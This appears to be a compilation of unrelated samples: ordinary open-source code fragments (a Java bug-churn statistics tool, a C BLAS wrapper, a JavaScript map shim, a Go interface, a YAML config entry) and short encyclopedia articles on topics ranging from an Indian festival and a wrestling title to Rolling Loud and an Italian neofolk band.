long first = bugInstance.getFirstVersion();
long last = bugInstance.getLastVersion();
if (last != -1) {
System.out.printf("%3d #fixed %s%n", last, key);
}
if (first != 0 && last != -1) {
int lifespan = (int) (last - first + 1);
System.out.printf("%3d #age %s%n", lifespan, key);
System.out.printf("%3d %3d #spread %s%n", first, last, key);
diedAfter[lifespan]++;
for (int t = 1; t < lifespan; t++) {
aliveAt[t]++;
}
} else if (first != 0) {
int lifespan = (int) (bugCollection.getSequenceNumber() - first + 1);
for (int t = 1; t < lifespan; t++) {
aliveAt[t]++;
}
}
}
return this;
}
public void dump(PrintStream out) {
for (int t = 1; t < aliveAt.length; t++) {
if (aliveAt[t] != 0) {
System.out.printf("%3d%% %4d %5d %3d #decay%n", diedAfter[t] * 100 / aliveAt[t], diedAfter[t], aliveAt[t], t);
}
}
System.out.printf("%7s %3s %5s %5s %5s %s%n", "chi", "%", "const", "fix", "max", "kind");
double fixRate;
if (this.fixRate == -1) {
fixRate = ((double) all.fixed) / (all.fixed + all.persist);
} else {
fixRate = this.fixRate / 100.0;
}
double highFixRate = fixRate + 0.05;
double lowFixRate = fixRate - 0.05;
for (Map.Entry<String, Data> e : data.entrySet()) {
Data d = e.getValue();
int total = d.persist + d.fixed;
if (total < 2) {
continue;
}
double rawFixRate = ((double) d.fixed) / total;
double chiValue;
if (lowFixRate <= rawFixRate && rawFixRate <= highFixRate) {
chiValue = 0;
} else {
double baseFixRate;
if (rawFixRate < lowFixRate) {
baseFixRate = lowFixRate;
} else {
baseFixRate = highFixRate;
}
double expectedFixed = baseFixRate * total;
double expectedPersist = (1 - baseFixRate) * total;
chiValue = (d.fixed - expectedFixed) * (d.fixed - expectedFixed) / expectedFixed + (d.persist - expectedPersist)
* (d.persist - expectedPersist) / expectedPersist;
if (rawFixRate < lowFixRate) {
chiValue = -chiValue;
}
}
System.out.printf("%7d %3d %5d %5d %5d %s%n", (int) chiValue, d.fixed * 100 / total, d.persist, d.fixed,
d.maxRemovedAtOnce(), e.getKey());
}
}
class ChurnCommandLine extends CommandLine {
ChurnCommandLine() {
this.addOption("-fixRate", "percentage", "expected fix rate for chi test");
}
@Override
public void handleOption(String option, String optionalExtraPart) {
throw new IllegalArgumentException("unknown option: " + option);
}
@Override
public void handleOptionWithArgument(String option, String argument) {
if ("-fixRate".equals(option)) {
fixRate = Integer.parseInt(argument);
} else {
throw new IllegalArgumentException("unknown option: " + option);
}
}
}
public static void main(String[] args) throws Exception {
DetectorFactoryCollection.instance(); // load plugins
Churn churn = new Churn();
ChurnCommandLine commandLine = churn.new ChurnCommandLine();
int argCount = commandLine
.parse(args, 0, 2, "Usage: " + Churn.class.getName() + " [options] [<xml results> [<history>]] ");
SortedBugCollection bugCollection = new SortedBugCollection();
if (argCount < args.length) {
bugCollection.readXML(args[argCount++]);
} else {
bugCollection.readXML(System.in);
}
churn.setBugCollection(bugCollection);
churn.execute();
PrintStream out = System.out;
try {
if (argCount < args.length) {
out = UTF8.printStream(new FileOutputStream(args[argCount++]), true);
}
churn.dump(out);
} finally {
out.close();
}
}
}
``` |
```c
/*
* cblas_sswap.c
*
* The program is a C interface to sswap.
*
* Written by Keita Teranishi. 2/11/1998
*
*/
#include "cblas.h"
#include "cblas_f77.h"
void API_SUFFIX(cblas_sswap)( const CBLAS_INT N, float *X, const CBLAS_INT incX, float *Y,
const CBLAS_INT incY)
{
#ifdef F77_INT
F77_INT F77_N=N, F77_incX=incX, F77_incY=incY;
#else
#define F77_N N
#define F77_incX incX
#define F77_incY incY
#endif
F77_sswap( &F77_N, X, &F77_incX, Y, &F77_incY);
}
``` |
Coimbatore Vizha is an annual festival of Coimbatore, India. The nine day event seeks to bring together all citizens to celebrate the perennial spirit of Coimbatore.
One of the key attractions is an open double decker bus that dons festival signage and offers free city tours. The bus ride covers popular locations and some heritage buildings in the city.
History
Coimbatore Vizha was initiated in 2009 by Shankar Vanavarayar. The event has grown in terms of supporting institutions, events and citizen participation. For the first edition, children from 30 schools accompanied by religious leaders visit various places of worship, promoting communal harmony and better understanding.
In 2016 the 8th edition took place from 29 January to 4 February. In 2017 the 9th edition began on 27 January, with 50 partner organisations and 90 events. Kovai Paatu, an audio visual tribute for Coimbatore and Chippy the Mascot of the Coimbatore Vizha were announced. A robofest and a helmet awareness rally were among the unique events for this edition. In 2018 the 10th edition was held from 5-12 January, presenting 120 events. Open double decker bus rides of the city were a unique addition. Seven main streets of Coimbatore were designated as "vizha streets" (festival streets). Unique events included an "Ovia Sandhai" (Drawing bazaar) featuring around 100 artists and a mass city cleaning programme.
The eleventh (2019) edition was held between 4-12 January. It featured 103 partners and 150 events. Key events include the Coimbatore Vizha parade, Eat street, Open quiz, heritage car show, movie festival, heritage walks, science and technology showcase, art and sporting events.
Mascot
Chippy the mascot represents the state bird of Tamil Nadu, the Common Emerald Dove. Chippy the mascot is also called the "Emerald princess".
References
External links
Coimbatore Vizha Website
Coimbatore |
The World Championship Wrestling (WCW) Hardcore Championship was a title in World Championship Wrestling (WCW). The title was defended in Hardcore matches, in which there were few rules and restrictions and weapons were allowed. Eventually, the rules were changed so that matches began in the backstage area but would only end by pinfall in the ring, but later were changed back to 'Falls Count Anywhere' rules. The belt was created in response to the growing popularity of hardcore wrestling in North America.
History
The title lasted from 1999 to 2001. The very first WCW Hardcore champion was Norman Smiley who defeated Brian Knobs in Toronto, Ontario, at the WCW pay-per-view Mayhem on November 21, 1999. Other notable champions are: 3 Count, who won and defended the belt as a trio; Brian Knobbs, who held the belt a record three times and was the one to defeat 3 Count at Uncensored 2000; and Terry Funk, a three-time champion who also held the title for a period of almost two months, from April to June 2000, when he was defeated by Eric Bischoff at a WCW Monday Nitro in Atlanta, Georgia. Bischoff later awarded the title to Big Vito as a reward for helping him take it from Funk. In 2000, as part of a storyline where he renamed singles titles that he had won, Lance Storm won the Hardcore Championship and, as he had done with the Cruiserweight and U.S. titles (renaming them the 100 Kilos and Under and Canadian championships), changed the name of the title to the Saskatchewan Hardcore International Title (or S.H.I.T for short).
The final hardcore champion in WCW was Meng, who defeated Crowbar and reigning champ Terry Funk at WCW Sin on January 14, 2001. It was largely abandoned after Meng left the company to return to the WWF. Meng presented the championship to Barbarian as a gift at an independent wrestling event on January 21, 2001. The belt was not defended again nor was it featured on the final episode of Nitro which was also known as "Night of Champions". The title belt was handed over formally to the WWF upon the purchase of WCW. The title is now displayed in WWE headquarters in Stamford, Connecticut.
The WCW Hardcore Title was a continuation from the WCW Hardcore Trophy that Fit Finlay won in the Junkyard Battle Royal that took place at the 1999 Bash at the Beach pay-per-view. Shortly after the PPV, the trophy was seized by Eric Bischoff and removed from television. Afterwards Norman Smiley was crowned first official WCW hardcore champion.
Norman Smiley held the record for the longest official reign at 51 days. The shortest reign was that of Carl Ouellet, who was awarded the title after Lance Storm gave it up but lost it 38 minutes later to Norman Smiley. Brian Knobbs and Funk hold the record for most reigns with three each and Smiley holds the record for most cumulative days as champion.
Reigns
See also
WWE Hardcore Championship
WWE 24/7 Championship
References
External links
WCW Hardcore Championship, at Wrestling-Titles.com
WCW Hardcore Championship, at Online World of Wrestling.com
Hardcore wrestling championships
World Championship Wrestling championships |
Terellia quadratula is a species of tephritid or fruit flies in the genus Terellia of the family Tephritidae.
Distribution
Israel, Lebanon, Caucasus, Iran.
References
Tephritinae
Insects described in 1869
Diptera of Asia |
Castillon (; ; ) is a commune in the Alpes-Maritimes department in southeastern France.
Population
See also
Communes of the Alpes-Maritimes department
References
Communes of Alpes-Maritimes
Alpes-Maritimes communes articles needing translation from French Wikipedia |
```javascript
var hasOwnProperty = Object.prototype.hasOwnProperty
module.exports = PseudoMap
function PseudoMap(set) {
if (!(this instanceof PseudoMap)) // whyyyyyyy
throw new TypeError("Constructor PseudoMap requires 'new'")
this.clear()
if (set) {
if ((set instanceof PseudoMap) ||
(typeof Map === 'function' && set instanceof Map))
set.forEach(function (value, key) {
this.set(key, value)
}, this)
else if (Array.isArray(set))
set.forEach(function (kv) {
this.set(kv[0], kv[1])
}, this)
else
throw new TypeError('invalid argument')
}
}
PseudoMap.prototype.forEach = function (fn, thisp) {
thisp = thisp || this
Object.keys(this._data).forEach(function (k) {
if (k !== 'size')
fn.call(thisp, this._data[k].value, this._data[k].key)
}, this)
}
PseudoMap.prototype.has = function (k) {
return !!find(this._data, k)
}
PseudoMap.prototype.get = function (k) {
var res = find(this._data, k)
return res && res.value
}
PseudoMap.prototype.set = function (k, v) {
set(this._data, k, v)
}
PseudoMap.prototype.delete = function (k) {
var res = find(this._data, k)
if (res) {
delete this._data[res._index]
this._data.size--
}
}
PseudoMap.prototype.clear = function () {
var data = Object.create(null)
data.size = 0
Object.defineProperty(this, '_data', {
value: data,
enumerable: false,
configurable: true,
writable: false
})
}
Object.defineProperty(PseudoMap.prototype, 'size', {
get: function () {
return this._data.size
},
set: function (n) {
},
enumerable: true,
configurable: true
})
PseudoMap.prototype.values =
PseudoMap.prototype.keys =
PseudoMap.prototype.entries = function () {
throw new Error('iterators are not implemented in this version')
}
// Either identical, or both NaN
function same(a, b) {
return a === b || a !== a && b !== b
}
function Entry(k, v, i) {
this.key = k
this.value = v
this._index = i
}
function find(data, k) {
for (var i = 0, s = '_' + k, key = s;
hasOwnProperty.call(data, key);
key = s + i++) {
if (same(data[key].key, k))
return data[key]
}
}
function set(data, k, v) {
for (var i = 0, s = '_' + k, key = s;
hasOwnProperty.call(data, key);
key = s + i++) {
if (same(data[key].key, k)) {
data[key].value = v
return
}
}
data.size++
data[key] = new Entry(k, v, key)
}
``` |
Minneapolis and St. Louis Railroad Depot may refer to:
Minneapolis and St. Louis Railroad Depot (Belview, Minnesota), listed on the National Register of Historic Places in Redwood County, Minnesota
Minneapolis and St. Louis Railroad Depot (Aberdeen, South Dakota), listed on the National Register of Historic Places in Brown County, South Dakota
Minneapolis and St. Louis Railroad Depot (Watertown, South Dakota), listed on the National Register of Historic Places in Codington County, South Dakota |
Takashi Miki (born 27 April 1939) is a Japanese former javelin thrower who competed in the 1964 Summer Olympics.
References
1939 births
Living people
Japanese male javelin throwers
Olympic male javelin throwers
Olympic athletes for Japan
Athletes (track and field) at the 1964 Summer Olympics
Asian Games gold medalists for Japan
Asian Games gold medalists in athletics (track and field)
Athletes (track and field) at the 1962 Asian Games
Medalists at the 1962 Asian Games
Japan Championships in Athletics winners
20th-century Japanese people
21st-century Japanese people |
```go
package util // import "github.com/docker/infrakit/pkg/controller/group/util"
// RunStop is an operation that may be Run (synchronously) and interrupted by calling Stop.
type RunStop interface {
Run()
Stop()
}
``` |
Saritha is an Indian Malayalam film, directed by P. Govindan and produced by Suvarna Regha in 1977 . The film stars Vidhubala, Mohan Sharma, Bahadoor and Manju Bhargavi in the lead roles. The film has musical score by Shyam.
Cast
Madhu
Vidhubala
Mohan Sharma
Bahadoor
Manju Bhargavi
M. G. Soman
Soundtrack
The music was composed by Shyam and the lyrics were written by Sathyan Anthikkad.
References
External links
1977 films
1970s Malayalam-language films
Films scored by Shyam (composer) |
The Ile du Nord, part of the Maria Island Group, is a small granite island with an area of approximately lying close to the eastern coast of Tasmania, Australia, near the Freycinet Peninsula.
It is close to the northernmost point of Maria Island and is part of the Maria Island National Park.
Fauna
Recorded breeding seabird species are little penguin and short-tailed shearwater. The metallic skink is present. Rakali have also been seen on the island.
See also
Protected areas of Tasmania
List of islands of Tasmania
References
Islands of South East Tasmania
Protected areas of Tasmania
East Coast Tasmania |
Kotari is a settlement (naselje) in the Samobor administrative territory of Zagreb County, Croatia. As of 2011 it had a population of 63 people.
References
Populated places in Zagreb County |
```yaml
define: DUK_USE_JSON_QUOTESTRING_FASTPATH
introduced: 1.3.0
default: true
tags:
- performance
- fastpath
- lowmemory
description: >
Enable fast path for string quoting in JSON.stringify(). The fast path uses
a lookup table at a small cost in footprint.
``` |
The Udachnaya pipe (, literally lucky pipe) is a diamond deposit in the Daldyn-Alakit kimberlite field in Sakha Republic, Russia. It is an open-pit mine, and is located just outside the Arctic circle at .
History
Udachnaya was discovered on 15 June 1955, just two days after the discovery of the diamond pipe Mir by Soviet geologist Vladimir Shchukin and his team. It is about deep, making it the third deepest open-pit mine in the world (after Bingham Canyon Mine and Chuquicamata).
The nearby settlement of Udachny is named for the deposit.
, Udachnaya pipe is controlled by Russian diamond company Alrosa, which planned to halt open-pit mining in favor of underground mining in 2010.
The mine has estimated reserves of of diamonds and an annual production capacity of .
See also
Mir mine
Volcanic pipe
References
External links
Satellite photo of the Udachnaya pipe
Diamond mines in Russia
Diamond mines in the Soviet Union
Diatremes of Russia
Open-pit mines
Science and technology in the Soviet Union
Sakha Republic
Surface mines in Russia |
Diosig () is a commune in Bihor County, Crișana, Romania with a population of 6,816 people. It is composed of two villages, Diosig and Ianca (Jankafalva).
The commune is located in the northwestern part of the county, on the banks of the river Ier. Diosig lies on the border with Hungary, north of the county seat, Oradea. It is crossed by national road , which runs from Oradea to the cities of Carei, Satu Mare, and Sighetu Marmației to the northeast.
At the 2002 census, 56.5% of inhabitants were Hungarians, 32.6% Romanians and 10.7% Roma. 53.4% were Reformed, 27.7% Romanian Orthodox, 8.2% Roman Catholic, 4.9% Pentecostal, 2.2% Seventh-Day Adventist and 1.5% Baptist.
See also
Skirmish at Diosig
References
Diosig
Localities in Crișana
Hungarian communities in Romania |
The 62nd Tour of Flanders cycling classic was held on Sunday, 9 April 1978. The race was won by Belgian Walter Godefroot in a three-man sprint with Michel Pollentier and Gregor Braun. It was Godefroot's second win in the Tour of Flanders, after the 1968 event. 47 of 174 riders finished.
Route
The race started in Sint Niklaas and finished in Meerbeke (Ninove) – covering 260 km. There were eight categorized climbs:
Results
References
External links
Video of the 1978 Tour of Flanders on Sporza (in Dutch)
Tour of Flanders
Tour of Flanders
Tour of Flanders
Tour of Flanders
1978 Super Prestige Pernod |
Rolling Loud is an international hip hop music festival which has been held in Asia, North America, South America, Europe, and Australia. Established in 2015, it is "one of the biggest festivals in the world" according to Complex, while Billboard called it "the be-all of hip-hop festivals". In 2019, an estimated 210,000 people attended the event in Miami.
History
The festival was founded in 2015 by Matt Zingler and Tariq Cherif, who met in elementary school in Hollywood, Florida. Once in high school, the pair began organizing and promoting parties which "leaned heavily on a mix of Southern and Midwestern rap". They moved on to professional live music events in 2010, beginning with an after-party headlined by Rick Ross. By the summer of 2013, they were hosting monthly events in Miami featuring up-and-coming artists like Travis Scott and Kendrick Lamar. The pair also promoted artists from Florida's burgeoning SoundCloud rap scene under the brand name Dope Entertainment before noticing the need for a genre-specific music festival.
The first Rolling Loud took place in Miami, Florida in February 2015 and featured artists such as Schoolboy Q, Juicy J, Currensy, and Action Bronson in the one-day event. It took place at Soho Studios in the Wynwood district of the city, though the venue was temporarily flooded during the event due to rain.
In 2016, Rolling Loud was held at the larger Mana Wynwood convention center and featured Ty Dolla $ign, Young Thug, and Future as the headlining acts.
In 2017, Rolling Loud moved to Bayfront Park in Downtown Miami. Since 2018, it has been hosted at Hard Rock Stadium in Miami Gardens. 2017 was also the year the festival expanded to other cities with the inaugural editions of Rolling Loud Bay Area and Rolling Loud Southern California.
In 2019 Rolling Loud added Rolling Loud Australia in Sydney, Australia and Rolling Loud NYC to their list of host cities. In the same year, they announced Rolling Loud’s first European festival would take place in Portugal and would be held in July, 2020.
However, the 2020 festival originally scheduled to take place from May 8 to May 10 in the US was rescheduled for July 23 to July 25, 2021, in response to the ongoing COVID-19 pandemic in the United States. The first European edition also had to be rescheduled for 2021 due to similar circumstances in Portugal.
In 2021, Rolling Loud hosted a post-pandemic festival in Miami, with more than 200,000 attendees. The festival included a collaboration with WWE, and featured a Friday Night Smackdown.
In 2022, Rolling Loud continued to expand to other countries. Rolling Loud's first partnership with a European festival was announced in 2021 as a collaboration with the 2022 edition of WOO HAH! held in Hilvarenbeek, Netherlands from July 1–3, 2022.
After being postponed in 2020 and 2021 due to the COVID-19 pandemic, Rolling Loud Portugal took place on July 6–8, 2022. In Canada, Rolling Loud Toronto took place on September 9–11, 2022. The festival's California edition took place at Inglewood's SoFi Stadium for the first time on March 3–5, 2023. On October 25, 2022, the festival announced its first edition in Thailand, which took place from April 13–15.
In 2023, after a successful partnership for the production of Woo Hah! 2022 in the Netherlands, Rolling Loud Rotterdam was launched on June 30–July 1, 2023. A third location of Rolling Loud in Europe was announced to take place in Germany, making its debut in Munich from July 7–9, 2023.
Festival summary by year
Miami
California
New York
Australia
Global
Portugal
Toronto
Rotterdam
Germany
Thailand
Notable events and incidents at festivals
In 2017, Lil Uzi Vert stage-dived into the crowd from a two-story scaffolding at Rolling Loud Miami.
In 2017, at Rolling Loud in Mountain View, California, rapper Lil B was allegedly assaulted by rapper A Boogie wit da Hoodie and his crew. B's performance was cancelled, allegedly due to his equipment having been stolen by the assailants.
In 2018, at Rolling Loud in Miami, Meek Mill made his second live performance after being released from prison with a surprise set at the festival.
In 2018, Offset publicly apologized to Cardi B on Stage during her headlining set at Rolling Loud Los Angeles.
In 2018, Young Dolph flew out Duke University Baristas who were fired for playing his music and gifted them $20,000 on stage at Rolling Loud Miami.
NPR described Rolling Loud as a "hotbed for arrests", and according to The New York Times, "Rolling Loud events have been connected to arrests and violence in the past." The 2019 edition of the Miami festival has been described as "plagued by chaos".
In 2019, at Rolling Loud in Los Angeles, a 23-year-old attendee named Kalvin Sanchez was assaulted and rushed to the hospital after suffering serious head injuries. He died four days later; his death was deemed a homicide.
In 2021, before entering the festival grounds of Rolling Loud New York, rapper Fetty Wap was arrested on federal drug charges at New York’s Citi Field for conspiracy to distribute hard drugs such as heroin, cocaine and fentanyl.
In 2022, rapper Travis Scott came out for Future’s headliner set at Rolling Loud Miami. In 2022, Travis Scott was sued for allegedly causing a stampede during his performance at Rolling Loud in Miami three years prior, in 2019. The lawsuit claimed that Scott was being negligent by encouraging the crowd to become more aggressive while people were "being injured, suffocating, losing consciousness, fighting and being trampled".
In July 2022, during the first day of Rolling Loud in Miami, multiple objects were thrown at rapper and singer Kid Cudi from the crowd during his set, including a water bottle thrown at his face. In response, Cudi gave the crowd an ultimatum to curtail its unruly behavior, but after another object was thrown at him, he cut off his performance and left the stage. (Shortly after Cudi's set ended, rapper Lil Durk began his set and brought out Kanye West to perform their single "Hot Shit". Ironically, West had previously left the festival lineup after being scheduled to perform, and had been replaced by Cudi.)
In 2022, Lil Tjay returned to the stage for Rolling Loud NY after being shot In June. The Rolling Loud appearance was the rapper's first gig since being shot seven times.
In 2022, Nicki Minaj became the first solo female rapper to headline Rolling Loud at Rolling Loud New York.
In 2023, Don Toliver brought out surprise guests Kali Uchis, James Blake, and Justin Bieber during his set at Rolling Loud California. This was Justin Bieber’s first performance since the cancellation of his Justice World Tour.
Other events
In 2020, virtual live performances called “Loud Streams” were streamed on Twitch. The first event was held on September 12–13, and the second on October 30–31. In 2021, archived performances from the Miami and Bay Area festivals from 2017 were streamed on the festival's official YouTube channel. Each festival is annually livestreamed. Usually simulcast on the YouTube and Twitch channels, however Revolt broadcast it in 2017, LiveXLive in 2018, and Be At TV in 2019. Rolling Loud presented a two night showcase at the Stubb's Bar-B-Q venue during South by Southwest in Austin, Texas in 2022.
Outside of festivals, Rolling Loud also promotes and sponsors several concert tours.
On December 9, 2022, Rolling Loud released its first single titled "Finger Food" featuring Rae Sremmurd and Duke Deuce.
Philanthropy
In 2021, the Black Music Action Coalition and Rolling Loud partnered for Social Justice Initiatives. The collaboration highlighted activism and community through panel discussions and fundraising efforts throughout the three-days of Rolling Loud California.
In 2021, rapper Zoey Dollaz and Rolling Loud Co-Founder, Tariq Cherif, chartered several jets to Haiti to provide supplies to people in the wake of a massive earthquake.
In 2022, The Miami Jr. HEAT teamed up with Rolling Loud to host 50 local children from After-School All-Stars for a basketball clinic at the festival.
In 2023, Rolling Loud partnered with DGK to host a skateboard giveback on the grounds of SoFi Stadium. Rolling Loud Co-Founder, Tariq Cherif, Inglewood city officials, and professional skateboarder Don Cooley, gifted 40 students from Kelso Elementary with DGK skateboards and helmets.
In 2023, Rolling Loud teamed up with the City of Miami Gardens and Rick Ross to gift eight students with scholarships to graduating high school seniors from Miami Norland and Miami Carol City Senior High Schools.
In 2023, Rolling Loud hosted a panel discussion with the Black Music Action Coalition (BMAC) in support of their Restoring Artistic Protections (RAP) Act initiative on the first day of Rolling Loud Miami. The panel included Rolling Loud co-Founder Tariq Cherif, BMAC co-founder and chair Willie “Prophet” Stiggers, Congressman Hank Johnson, and Congressman Jamaal Bowman. The act was introduced as a way to protect artists' creative expression, which has been used against them as evidence in court.
References
External links
Official website
Hip hop music festivals
Music festivals established in 2015
Music festivals in Miami
Festivals in Rotterdam |
Xue E (薛崿) was a general of the Chinese dynasty Tang Dynasty, briefly ruling Zhaoyi Circuit (昭義, then headquartered in modern Anyang, Henan) after the death of his brother Xue Song.
Nothing is known about Xue E's career under his brother or events before that. When Xue Song died in 773, after having ruled Zhaoyi Circuit effectively independently from the imperial government as its military governor (Jiedushi), Xue Song's subordinates initially wanted to support his 11-year-old son Xue Ping to succeed him. Xue Ping pretended to agree, but one night yielded his position to Xue E, took his family, and fled back to his home territory. Emperor Daizong made Xue E the acting military governor.
In 775, Tian Chengsi, who governed nearby Weibo Circuit (魏博, headquartered in modern Handan, Hebei) and who had long had designs on Zhaoyi, induced Xue E's subordinate Pei Zhiqing (裴志清) to rise against him. Xue E fled from Zhaoyi's headquarters at Xiang Prefecture (相州) to Ming Prefecture (洺州, in modern Handan), whose prefect Xue Jian (薛堅) was a relative, and made a petition to Emperor Daizong to allow him to report to the capital Chang'an. Emperor Daizong agreed, and when Xue E arrived at Chang'an, he wore mourning clothes and begged punishment from Emperor Daizong. Emperor Daizong did not punish him, however. There was no further historical records about Xue E's activities afterwards, and it is not known when he died.
References
Further reading
Old Book of Tang, vol. 124.
New Book of Tang, vol. 111.
Zizhi Tongjian, vols. 223, 224, 225.
Tang dynasty generals |
William Sutherland, 17th Earl of Sutherland, previously named William Gordon, 17th Earl of Sutherland, (2 October 1708 – 1750), was a Scottish politician who sat in the House of Commons from 1727 until 1733 when he succeeded to the peerage as Earl of Sutherland. He was chief of the Clan Sutherland, a Scottish clan of the Scottish Highlands.
Early life
Sutherland was born as William Gordon, the eldest surviving son of William Gordon, Lord Strathnaver and his wife Catherine Morrison, daughter of William Morrison, MP, of Preston-grange, Haddington. His father died in 1720 and he succeeded his elder brother on 12 December 1720. He undertook a grand tour in France and Hanover from 1726 to 1727.
At the 1727 British general election Sutherland was put up by his grandfather for the constituency of Sutherland at the age of 18. There existed a resolution that the eldest sons of peers of Scotland should not sit in the House of Commons and his grandfather expressed the hope to the Duke of Argyll that this would not be invoked because Sutherland was a grandson, and not a son. He was returned as Member of Parliament without difficulty. In 1730 he claimed repayment for arms surrendered to the Government, under the Act for disarming the Highlands, but his claim was deferred because some of his receipts for arms appeared very suspicious. He voted with the Administration on the Hessians in 1730 and on the Excise Bill in 1733. When he succeeded his grandfather John Gordon, 16th Earl of Sutherland as 17th Earl of Sutherland on 27 June 1733, he was said to have made a deal with Walpole and Ilay by which, he would vote for the court list of representative peers, provided he was made one of them himself, which transpired in 1734. He was also appointed a lord of police in Scotland at £800 p.a., and granted a pension of £1,200 p.a He vacated his seat in the House of Commons. In 1744, he was promoted to be first lord of police.
Jacobite rising of 1745
During the Jacobite rising of 1745, Sutherland supported the British-Hanoverian Government and raised two independent companies on behalf of the Government. At one stage, the Jacobites stormed the Earl's home at Dunrobin Castle, but he narrowly escaped them through a back door and sailed to join the army of Prince William, Duke of Cumberland. One day before the Battle of Culloden an Independent Highland Company of soldiers that were raised from the Clan Sutherland by the Earl of Sutherland, took part in the Battle of Littleferry in support of the Government where the Jacobites were defeated. He was also present at the Battle of Culloden where the Jacobites were finally defeated. Despite this, some people in the Government were unhappy with the Earl's strength of support and he struggled to prove to the parliament in London that he had not had Jacobite sympathies.
During the Jacobite rising of 1745, Eric Sutherland, 4th Lord Duffus remained loyal to the Crown and gave intelligence of the rebels to the Earl of Sutherland. According to James Balfour Paul, he did not take part in any military operations. According to William Fraser, he was a captain in the Earl of Sutherland's regiment. James Balfour Paul stated that Eric Sutherland's relations with the Earl of Sutherland's family were extremely friendly.
Later life
Sutherland joined the party of Frederick, Prince of Wales, and as a result, lost his police post in 1747. He wrote to the Duke of Newcastle on 30 July 1747, complaining of the loss of his post and seeking recompense for his expenditure during the Jacobite rising. He waited around court for two years, leaving his mother in charge of the management of his estates in Scotland and then decided to go abroad.
Sutherland died at Montauban in France on 7 December 1750, leaving debts of £15,797, and was buried in the grave of his great-grandfather, Gordon, the 15th Earl, in Holyrood Abbey in Edinburgh.
Family
Sutherland married Elizabeth Wemyss, daughter of David Wemyss, 3rd Earl of Wemyss in a marriage contract signed on 17 April 1734. They had the following children:
William Sutherland, 18th Earl of Sutherland (1735 - 1766)
Elizabeth Gordon (d.1803)
References
Earls of Sutherland
1708 births
1750 deaths |
Corde Oblique are one of the main ethereal progressive neofolk bands from Italy. They are the solo project of Riccardo Prencipe (composer, art historian) with vocal contributions from numerous female singers and actresses. After seven albums the project began to change its skin and proposed "FolkGaze" sounds, a cross between folk and shoegazer.
Graduated in classical guitar from the Conservatory of Naples San Pietro a Majella, since 2000 Prencipe has released eight albums, distributed in Europe and worldwide by record companies in different countries (Russia, China, Germany, France and Portugal), all excellently reviewed by critics. The original pieces proposed by the ensemble speak of the history of Italian art and of a "wild and talented" South.
History
Prencipe started in 1999 with his first neomedieval gothic band, LUPERCALIA. They released the first album Soehrimnir with the English label World Serpent distribution (Death in June, Current 93, Antony and the Johnsons, Nurse with Wound) and the second album Florilegium with the Portuguese label Equilibrium Music. In 2005 Riccardo started his idea of the "Workshop of sound", an open team with many artists to collaborate with.
Concerts
Corde Oblique performed in festivals in Italy, China, France, Germany, Belgium, Holland and Albania, sharing the stage with bands like Bauhaus, Anathema, Opeth, Coph Nia, Moonspell, Ataraxia, Persephone, Spiritual Front, QNTAL, Kirlian Camera, and Of the Wand and the moon.
Places and festivals where they performed since 2005 include Auditorium Parco della Musica (Rome), La Loco (Paris), Gotischer Saal (Berlin), Casa del Jazz (Rome), Archeological Museum (Naples), Schauspielhaus (Leipzig), Culture Centre (Shanghai), La Locomotive (Bologna), Museo Madre (Napol), Tanzbrunnen Theatre (Koeln), Auditorium del Museo di Capodimonte (Naples), Museum Centrale Montemartini (Rome), Theatre Mediterraneo per il Comicon festival (Naples), Stazione Birra (Rome), Giffoni Film Festival (Giffoni), Qube (Rome), Cultural Centre of Huy (Belgio), Casina Vanvitelliana (Bacoli), Teatro centrale di Valona (Albania), Villa Pignatelli (Naples), Oratorio di San Quirino (Parma), Villa Fondi (Piano di Sorrento), Arco di Traiano (Ancona), Università degli Studi (Florence), Casa della Musica (Naples), Giardini Estensi (Modena), and Nanshan recreation and sports theater (Shenzhen, China).
Collaborations with artists and photographers
The band performed at the Comicon Festival with the painter Milo Manara, for the presentation of his book on Caravaggio.
The cover picture and all pictures of the album florilegium are photos by the German photographer Achim Bednorz.
The cover of the album Respiri is a photo by the Japanese photographer Kenro Izu.
The cover of the album I Maestri del Colore is a photo from one of the main Italian photographers, Franco Fontana.
China tour
In December 2015, Corde Oblique were the first independent band to be invited for a tour of nine concerts in China.
in April 2018 the band performed in China again. They were part of the Nanshan Pop Festival 2018. Their show was at the big stage of the Nanshan recreation and sports theater, in the city of Shenzhen, near Hong Kong.
History of art
The group's music has a deep connection with the history of art. As an art historian, Riccardo Prencipe (Ph.D) worked for the critic texts for the exhibition in the National Museum of Capodimonte about the painting of a lute player by Jan Vermeer, and held a few lectures about ancient musical instruments through paintings, frescoes and statues (middle age and ancient Rome). He is also an art history teacher at a high school.
List of guests and contributions
In many years Prencipe wrote music and lyrics for many voices and musicians. Here a list of some musicians featured on Corde Oblique's albums:
Caterina Pontrandolfo - vocals on all albums
Maddalena Crippa - spoken vocals on "La Casa del Ponte"
Miro Sassolini ex Diaframma - vocals on "Il Terzo Suono"
Andrea Chimenti - vocals on Per la Strade Ripetute
Duncan Patterson (Anathema) - mandolin on A Hail of Bitter Almonds
Walter Maioli (Synaulia) - flutes on A Hail of Bitter Almonds and I Maestri del Colore
Donatello Pisanello (Officina Zoé) - accordion on A Hail of Bitter Almonds
Floriana Cangiano - vocals on all except Respiri and I Maestri del Colore
Simone Salvatori (Spiritual Front) - vocals on Volontà d'arte
Sergio Panarella (Ashram) - vocals on Volontà d'arte
Spyros Giasafakis (Daemonia Nymphe) - vocals on A Hail of Bitter Almonds and Per la Strade Ripetute
Luigi Rubino (Ashram) - piano on all albums
Claudia Florio - vocals on Volontà d'arte
Catarina Raposo - vocals on Respiri and Volontà d'Arte'''
Denitza Seraphim (Irfan) - vocals on I Maestri del ColoreQuartetto Savinio - appearance on I Maestri del ColoreGiuseppe Frana (Micrologus) - vocals on I Maestri del ColoreRita Saviano - live vocals
Edo Notarloberti (Argine, Ashram) - violin on all albums
Annalisa Madonna - live vocals
Umberto Lepore - live bass
Alessio Sica - live drums
Discography
Studio albumsRespiri (ARK Records/Masterpiece, 2005)Volontà d'arte (Prikosnovenie/Audioglobe, 2007)The Stones of Naples (Prikosnovenie/Audioglobe, 2009)A Hail of Bitter Almonds (Prikosnovenie/Audioglobe, 2011)Per la Strade Ripetute (Prikosnovenie, The Stones of Naples/Audioglobe, 2013)I Maestri del Colore (Infinite fog, Audioglobe, 2016)Back through the liquid mirror - live in the studio (Dark Vinyl, Audioglobe, 2018); Asian edition (CD/DVD Dying art productions 2018)The Moon is a dry bone (Dark Vinyl, Audioglobe, 2020)
Vinyl Mille anni che sto qui (7", Caustic Records, 2017)
Digital albums Richiami a Mezzo Mare (2013)Itri (2015)I Maestri del Colore, Vol. 2'' (2016)
References
External links
https://cordeoblique.bandcamp.com/
Italian musical groups
Italian dark wave musical groups
Prikosnovénie artists |
